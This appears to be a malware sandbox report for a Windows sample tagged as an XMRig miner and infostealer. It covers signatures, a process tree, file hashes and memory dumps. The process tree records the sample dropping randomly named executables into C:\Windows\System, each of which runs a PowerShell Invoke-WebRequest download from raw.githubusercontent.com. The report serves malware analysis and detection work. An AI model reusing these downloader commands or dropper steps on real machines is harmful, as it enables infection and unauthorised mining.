Overview

overview

10

Static

static

10

2026-08-30...ig.exe

windows10-2004-x64

10

2026-08-30...ig.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    77s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/08/2026, 04:11

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-30_ce0397108d74c780de567bc7e46c93f2_glassworm_icedid_njrat_stealc_vidar_xmrig.exe
  • Size 1.6MB
  • Sample260831-er1wsadj41
  • SHA256 31713929b2b220ed476002d14c8e7fcaa06660ee987f4c07490adee03405d36e
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
executionxmrigminer

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Detects executables containing URLs to raw contents of a Github gist 11 IoCs
  • XMRig Miner payload 11 IoCs
    miner
  • Badlisted process makes network request 35 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Powershell Invoke Web Request.

    execution
  • Executes dropped EXE 11 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 13 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Drops file in Windows directory 11 IoCs
  • Suspicious behavior: EnumeratesProcesses 35 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-30_ce0397108d74c780de567bc7e46c93f2_glassworm_icedid_njrat_stealc_vidar_xmrig.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-30_ce0397108d74c780de567bc7e46c93f2_glassworm_icedid_njrat_stealc_vidar_xmrig.exe"
    1⤵
    • Drops file in Windows directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2892
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5800
    • C:\Windows\System\yZHOOiY.exe
      C:\Windows\System\yZHOOiY.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4696
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4280
    • C:\Windows\System\reZpFsI.exe
      C:\Windows\System\reZpFsI.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4312
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4600
    • C:\Windows\System\aWRzzMc.exe
      C:\Windows\System\aWRzzMc.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4952
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5228
    • C:\Windows\System\WOBavMm.exe
      C:\Windows\System\WOBavMm.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3232
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:52
    • C:\Windows\System\cORdXAP.exe
      C:\Windows\System\cORdXAP.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:5640
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5104
    • C:\Windows\System\MjKhWbL.exe
      C:\Windows\System\MjKhWbL.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4536
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5976
    • C:\Windows\System\RQbnuCo.exe
      C:\Windows\System\RQbnuCo.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2912
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4168
    • C:\Windows\System\WpqpjkU.exe
      C:\Windows\System\WpqpjkU.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3448
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1648
    • C:\Windows\System\ZBOKovt.exe
      C:\Windows\System\ZBOKovt.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4308
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4692
    • C:\Windows\System\iBaKKeC.exe
      C:\Windows\System\iBaKKeC.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:5400
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:6088
    • C:\Windows\System\wVaAZEy.exe
      C:\Windows\System\wVaAZEy.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:6020
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5040

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        07CEF2F654E3ED6050FFC9B6EB844250_44F84527B9D1A5107012929AC9B9BF7F
        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_44F84527B9D1A5107012929AC9B9BF7F
        • Size 2KB
        • SHA256 406738beb62b201cf251c9fc7a08925b8a315906c05fd06613e9dc348d23ea34
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        A1593701BD276673B04DEC503D761A9E_E1F945BF658DCC7B1DD3A7B88D3398BA
        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A1593701BD276673B04DEC503D761A9E_E1F945BF658DCC7B1DD3A7B88D3398BA
        • Size 727B
        • SHA256 ee73e57a42a1b41b3e9fa149cb93ebc4818c596bba3ad5d0cb5ca5902db61e1a
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        07CEF2F654E3ED6050FFC9B6EB844250_44F84527B9D1A5107012929AC9B9BF7F
        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_44F84527B9D1A5107012929AC9B9BF7F
        • Size 484B
        • SHA256 847f4d748b2c393e6e9b65552a3b54553cb7fdcc36b6b049b4d2b7c4a343664a
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        A1593701BD276673B04DEC503D761A9E_E1F945BF658DCC7B1DD3A7B88D3398BA
        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A1593701BD276673B04DEC503D761A9E_E1F945BF658DCC7B1DD3A7B88D3398BA
        • Size 484B
        • SHA256 4f1982b28e9ada5d899792478bfa938efb950e53c46d6af6ccb3d975885b099c
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        environment-6259f8985e5a2173[1].js
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\25815SUX\environment-6259f8985e5a2173[1].js
        • Size 6KB
        • SHA256 7c4d762561ca7c7e0101ae99628a8155a0caae060f37b03c7ff28b6dd770f5f5
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        global-adcabba7b5c5d221[1].css
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\25815SUX\global-adcabba7b5c5d221[1].css
        • Size 289KB
        • SHA256 ba37e83753a1765b27c5f16844e741e51fed8606bd3a6179ae5d0c580987362f
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        landing-pages-f30015168ac9dfa5[2].js
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\25815SUX\landing-pages-f30015168ac9dfa5[2].js
        • Size 1.5MB
        • SHA256 519597e19cd1931b6650e7284181d4ad6f817be91e6e3502a83e833733bfc8fe
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        lazy-react-partial-marketing-header.e05ad33105faf997.module[1].css
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\25815SUX\lazy-react-partial-marketing-header.e05ad33105faf997.module[1].css
        • Size 16KB
        • SHA256 10ffac019322a47a96db044c7f49587c90fc9dab94feb2a35ab956fdfee631cf
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        marketing-c6c574a5b2679474[1].css
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\25815SUX\marketing-c6c574a5b2679474[1].css
        • Size 6KB
        • SHA256 7e605b46320119c9dda35806feebc6b308f83d065a872254fdb61003935dab01
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        primer-1d2c7f7b52a6068b[1].css
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\25815SUX\primer-1d2c7f7b52a6068b[1].css
        • Size 401KB
        • SHA256 cadbbda81aba7b6943fe4e2d3196412a96f44804c3467d329204f22da53922ea
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        primer-react-brand-css.d7bf4cd1af1bdba4.module[1].css
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\25815SUX\primer-react-brand-css.d7bf4cd1af1bdba4.module[1].css
        • Size 684KB
        • SHA256 559e95b23bf9d99b6243b1d901951269cd648e7c4aca22e6637a02866f7089f3
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        element-registry-0be90727b4f77e3e[1].js
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\5Y5P5VHC\element-registry-0be90727b4f77e3e[1].js
        • Size 81KB
        • SHA256 425ce6e71b0e2d1eed5b6931d1cb4d448fc6644a546e5b9dc5240c2503761342
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        github-elements-7d17ea7d74622f2f[1].js
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\5Y5P5VHC\github-elements-7d17ea7d74622f2f[1].js
        • Size 7KB
        • SHA256 06a160fe313183b5ba6baf7b7d5b166abe53a2e9b4415c46bed764876399fdc9
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        light-99f877e9ddfc0e51[1].css
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\5Y5P5VHC\light-99f877e9ddfc0e51[1].css
        • Size 85KB
        • SHA256 6a557de3a7c508eaa6b9b15bfac2a9e6dfdd057e07bf2220dd8c74bbfc9dde52
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        light_high_contrast-48fdd0811afbab3c[1].css
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\5Y5P5VHC\light_high_contrast-48fdd0811afbab3c[1].css
        • Size 85KB
        • SHA256 d5bb08702f5b54cdb176b536e43d1b1d4ba00af2e5973128cc653319a6a75fa5
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        marketing-global-banner.3a022e7f95cd46e9.module[1].css
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\5Y5P5VHC\marketing-global-banner.3a022e7f95cd46e9.module[1].css
        • Size 5KB
        • SHA256 410feaec1e830ae02e62744e9026aad661b6adb66e2770f8ffbfcd74f087e222
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        primer-react-css.2489a3d4426b28d3.module[1].css
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\5Y5P5VHC\primer-react-css.2489a3d4426b28d3.module[1].css
        • Size 283KB
        • SHA256 f1394357cce6475e297834030d0b16cc4188e453221121b0c8a6f5c42d8ccbf1
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        behaviors-2f489671a51a75ac[1].js
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\GUSZP5YK\behaviors-2f489671a51a75ac[1].js
        • Size 224KB
        • SHA256 623386f4c1638aa7611285f7ccc1a892a18005ccd910d5868eb6ce59e6f69530
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        dark-79ad2ace604703b3[1].css
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\GUSZP5YK\dark-79ad2ace604703b3[1].css
        • Size 85KB
        • SHA256 3c713a81d8ee00c8a2ad20444eda12a379c4d356128b7f5e341f62760763c1f7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        dark_high_contrast-24484a076f02295f[1].css
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\GUSZP5YK\dark_high_contrast-24484a076f02295f[1].css
        • Size 85KB
        • SHA256 256912b92c2844a376ccddf7651ee6af81516e5ba39a622b081d07eea48134ce
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        github-552513ad07a183a1[1].css
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\GUSZP5YK\github-552513ad07a183a1[1].css
        • Size 125KB
        • SHA256 7b1dae25ad6cc400e645d09afd0cfd12a0e4c7146fea337b9cbfab03b95e3d2b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        high-contrast-cookie-700cb8fd7174aa98[1].js
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\GUSZP5YK\high-contrast-cookie-700cb8fd7174aa98[1].js
        • Size 1KB
        • SHA256 e93d9d47cf857b5fef96802e142b6be3d5a122dc576c4e31b1f2a1e36d618fd3
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        landing-pages.21a4a75bbff4dbf3.module[1].css
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\GUSZP5YK\landing-pages.21a4a75bbff4dbf3.module[1].css
        • Size 130KB
        • SHA256 dad412a824a541b20e9207b9b11c97a5b7b7b386605c063e62de1050c7134e83
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        marketing-essentials-22e9e0f4041201b9[1].js
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\GUSZP5YK\marketing-essentials-22e9e0f4041201b9[1].js
        • Size 998B
        • SHA256 7012c275c01804bdd587e9511d7950b35685b1e17d6063a23da1187c5f575a5b
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        marketing-footer.a6579db0568ab538.module[2].css
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\GUSZP5YK\marketing-footer.a6579db0568ab538.module[2].css
        • Size 6KB
        • SHA256 fc54312fb2391bf51d9630de4f6968750d1db137b502b633ad1c8510c7c656ad
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        particles-170bd1fd231f4669[1].png
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\GUSZP5YK\particles-170bd1fd231f4669[1].png
        • Size 33KB
        • SHA256 248e15e2e77b11d62cc389f225d57ed1217829a2067f73d62df2068637f0ea39
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        app-runtime.4edc00cd7dcee842.module[1].css
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\HEUA9JR4\app-runtime.4edc00cd7dcee842.module[1].css
        • Size 4KB
        • SHA256 76d5d88bd6625c2104064917f8bb3d1fd946e8ebafbebbd016c35d3348c8deff
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        global-banner-disable-438a895d09b44f2a[1].js
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\HEUA9JR4\global-banner-disable-438a895d09b44f2a[1].js
        • Size 596B
        • SHA256 4beb4fbf83e07661f885cc0ae10f71e5a79ff4f59dee67fa80a077da1c1da3fe
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        home-87c3046c3560e1b7[2].css
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\HEUA9JR4\home-87c3046c3560e1b7[2].css
        • Size 40KB
        • SHA256 721f6d465158788ab96aa8b9c7454f225632aef09120e9b3a292d0cb853082f1
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        keyboard-shortcuts-dialog.edf9f628efa00134.module[1].css
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\HEUA9JR4\keyboard-shortcuts-dialog.edf9f628efa00134.module[1].css
        • Size 331B
        • SHA256 a6b4df7042d46a8a1ef9017ed968077427900feab764ebbf5579f5af468c2c35
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        primer-primitives-ed9ca172356fd545[1].css
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\HEUA9JR4\primer-primitives-ed9ca172356fd545[1].css
        • Size 10KB
        • SHA256 8cacee1416907bcd693367981b93987d8da22246f1b5f96d08ad9951e11d7679
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        react-core.0027ad4d227604b8.module[1].css
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\HEUA9JR4\react-core.0027ad4d227604b8.module[1].css
        • Size 446B
        • SHA256 6901d61ce9fe02dd3503771d1896d8d1d1368f9b5ea4900512d08a554f23682c
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        wp-runtime-933447118d8dea11[1].js
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\HEUA9JR4\wp-runtime-933447118d8dea11[1].js
        • Size 84KB
        • SHA256 ea5c1d159e0750be5133885d50227839268d7d6bf730f4c25caa6944105f7d71
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ModuleAnalysisCache
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 67KB
        • SHA256 d18285b58743ea648b8945122e6ec07c806201c7bbc3ca2c1d882a18510ccb33
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ModuleAnalysisCache
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 4KB
        • SHA256 ce312f68456dbde3eb523a91680c38f4e921441f61af769a29ceb0db071dc222
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_bxz3dp32.olp.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bxz3dp32.olp.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        MjKhWbL.exe
        • Path C:\Windows\System\MjKhWbL.exe
        • Size 1.6MB
        • SHA256 027be2b9cd4fd9302cb074e3e2c1d2c7edfa0b4776c081c10df76e502d3dc596
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        RQbnuCo.exe
        • Path C:\Windows\System\RQbnuCo.exe
        • Size 1.6MB
        • SHA256 3b99b9b30a888d0c22b247e60b6e2c4b6baf3a10d92525293a21dac58eaf345b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        WOBavMm.exe
        • Path C:\Windows\System\WOBavMm.exe
        • Size 1.6MB
        • SHA256 c163af9c46aaf425bc86ca4118d9f046582185c389a695944eb4c5617df4ea26
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        WpqpjkU.exe
        • Path C:\Windows\System\WpqpjkU.exe
        • Size 1.6MB
        • SHA256 ec5b65af33346c107abf9fd95f88166970fe1157dd9cce128b8de77a76c593c1
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ZBOKovt.exe
        • Path C:\Windows\System\ZBOKovt.exe
        • Size 1.6MB
        • SHA256 bafcd8f8b394adeb9119ab1ee60186c37a99e033f8fe925fdfd7211fa5b2e4fa
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        aWRzzMc.exe
        • Path C:\Windows\System\aWRzzMc.exe
        • Size 1.6MB
        • SHA256 7b0a91fce96eb02a9f8cf329e8dd1beba63fa7584c1345a5172a757add33ccee
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        cORdXAP.exe
        • Path C:\Windows\System\cORdXAP.exe
        • Size 1.6MB
        • SHA256 7f127fe56f2cf5bd4c6e0dd4d1806ac9b3bb5e3e245ee2a371e141f4335013f9
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        iBaKKeC.exe
        • Path C:\Windows\System\iBaKKeC.exe
        • Size 1.6MB
        • SHA256 0bd71b6813d63aa176dfea83a0a70babbde9666582b81cb908d6ceb2b38bf72f
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        reZpFsI.exe
        • Path C:\Windows\System\reZpFsI.exe
        • Size 1.6MB
        • SHA256 e0c2a1f272942cd38aeebefa44a531c56d22589470e069203a8aa6d3cc350c63
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        wVaAZEy.exe
        • Path C:\Windows\System\wVaAZEy.exe
        • Size 1.6MB
        • SHA256 765376e39ceb52e754103c99365c665ed011350ded76dd4269cffb3897fe1c1d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        yZHOOiY.exe
        • Path C:\Windows\System\yZHOOiY.exe
        • Size 1.6MB
        • SHA256 8c424a03750a8cbc4ece22ac0342eb0992e2d8eb2a86ddc38a20901f9cb38e09
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/2892-0-0x00000285851B0000-0x00000285851C0000-memory.dmp
        Download

        memory/4280-77-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/4280-130-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/4280-72-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/4280-71-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/4280-69-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/4280-30-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/4280-128-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/4280-76-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/4280-32-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/4280-31-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/5800-82-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/5800-18-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/5800-70-0x0000028E2E360000-0x0000028E2EB06000-memory.dmp
        Download

        memory/5800-129-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/5800-29-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/5800-21-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/5800-28-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/5800-27-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/5800-26-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/5800-127-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/5800-16-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/5800-17-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/5800-15-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/5800-11-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/5800-12-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/5800-6-0x0000028E2D490000-0x0000028E2D4B2000-memory.dmp
        Download

        memory/5800-126-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/5800-7-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/5800-5-0x00007FF804BF0000-0x00007FF805594000-memory.dmp
        Download

        memory/5800-2-0x00007FF804D7F000-0x00007FF804D80000-memory.dmp
        Download